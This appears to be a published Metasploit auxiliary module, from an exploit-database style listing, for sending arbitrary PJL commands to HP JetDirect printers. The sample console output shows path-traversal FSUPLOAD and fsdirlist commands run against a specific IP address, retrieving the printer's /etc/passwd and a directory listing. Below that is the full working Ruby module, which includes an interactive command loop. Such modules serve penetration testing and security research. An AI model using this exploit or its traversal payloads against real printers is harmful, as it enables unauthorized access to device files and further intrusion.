# Exploit Title: HP JetDirect PJL Query Execution
# Date: Aug 7, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://www.hp.com
# Version: All
# Tested on: HP LaserJet Pxxxx Series

##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

##
# Sample Output:
#
#
# msf auxiliary(hp_printer_pjl_cmd) > show options
#
# Module options (auxiliary/admin/hp_printer_pjl_cmd):
#
#    Name         Current Setting                                           Required  Description
#    ----         ---------------                                           --------  -----------
#    CMD          FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999  yes       PJL Command to run
#    INTERACTIVE  true                                                      no        Enter interactive mode [msfconsole Only]
#    RHOST        202.138.16.21                                             yes       The target address
#    RPORT        9100                                                      yes       The target port
#
# msf auxiliary(hp_printer_pjl_cmd) > run
#
# [*] Entering interactive mode ...
# [*] Please wait while executing -
# [*] FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999
# [+] Server returned the following response:
#
# root::0:0::/:/bin/dlsh
#
#
# [*] Enter PJL Command:
# [*] -> 'quit' to exit
# $ > fsdirlist name="0:/../../../" entry=1 count=99999999
# [*] Please wait while executing -
# [*] fsdirlist name="0:/../../../" entry=1 count=99999999
# [+] Server returned the following response:
#
# . TYPE=DIR
# .. TYPE=DIR
# bin TYPE=DIR
# usr TYPE=DIR
# etc TYPE=DIR
# hpmnt TYPE=DIR
# hp TYPE=DIR
# lib TYPE=DIR
# dev TYPE=DIR
# init TYPE=FILE SIZE=9016
# .profile TYPE=FILE SIZE=834
# tmp TYPE=DIR
#
#
# [*] Enter PJL Command:
# [*] -> 'quit' to exit
# $ > quit
# [*] Exited ... Have fun with your Printer!
# [*] Auxiliary module execution completed
# msf auxiliary(hp_printer_pjl_cmd) >

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::Tcp

 def initialize(info={})
  super(update_info(info,
   'Name'        => 'HP JetDirect Printer PJL Query Execution',
   'Version'     => '$Revision: 1 $',
   'Description' => %q{
    This module act as a HP printer PJL (Printer Job Language) query tool that allows you to submit your own PJL commands. Valid PJL commands are required to get successful response. See the reference section for PJL reference guides from HP.
   },
   'Author'      => [
     'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>'
     ],
   'License'     => MSF_LICENSE,
   'References'     =>
   [
    [ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13208/bpl13208.pdf' ],
    [ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13207/bpl13207.pdf' ],
    [ 'URL', 'https://secure.wikimedia.org/wikipedia/en/wiki/Printer_Job_Language' ],
    [ 'URL', 'http://core.yehg.net/lab/#tools.exploits' ]    
    
   ],
   'DisclosureDate' => ' 2011'))
  
  register_options(
  [
   OptString.new('CMD',
     [
      true,
      "PJL Command to run",
      'FSUPLOAD NAME="0:/../../../.profile" OFFSET=0 SIZE=999'
     ]
    ),
   OptBool.new('INTERACTIVE',
        [
         false,
         "Enter interactive mode [msfconsole Only]",
         false
        ]
       ),
    
   Opt::RPORT(9100)
  ],self.class)
  

 end

 def run
  mode = datastore['INTERACTIVE']

  if mode == true
   set_interactive(datastore['CMD'])
  else
   set_onetime(datastore['CMD'])
  end
 end
 
 def set_interactive(scmd)
  cmd = scmd
 
  print_status("Entering interactive mode ...")
  stop = false
  
  set_onetime(cmd)
  
  until stop == true  
   print_status("Enter PJL Command:")
   print_status("-> 'quit' to exit")
   print("$ > ")
   tmp_cmd = ''
   tmp_cmd = gets.chomp.to_s 
   if tmp_cmd =~ /quit/
    stop= true
    print_status("Exited ... Have fun with your Printer!")
   else
    set_onetime(tmp_cmd) 
   end
  end
 end
 
 def set_onetime(scmd)

  connect
  
  cmd = "\x1b%-12345X@PJL [REPLACE]\x0d\x0a\x1b%-12345X\x0d\x0a"
  r_cmd = cmd.sub("[REPLACE]",scmd)
  
   print_status("Please wait while executing -")
  print_status("#{scmd}")
  
  recv = sock.put(r_cmd)
  res = sock.get(-1,1)
  
  if (!res)
   print_error("ERROR in receiving data!\r\n")
  else
   if res.to_s =~ /ERROR/
    print_error("BAD COMMAND OR ERROR\r\n")
    disconnect
    return
   end
   resx = res.to_s[res.index("\r\n")+1,res.length]
   print_good("Server returned the following response:\r\n#{resx}")
  end
  
  disconnect 
 
 end

end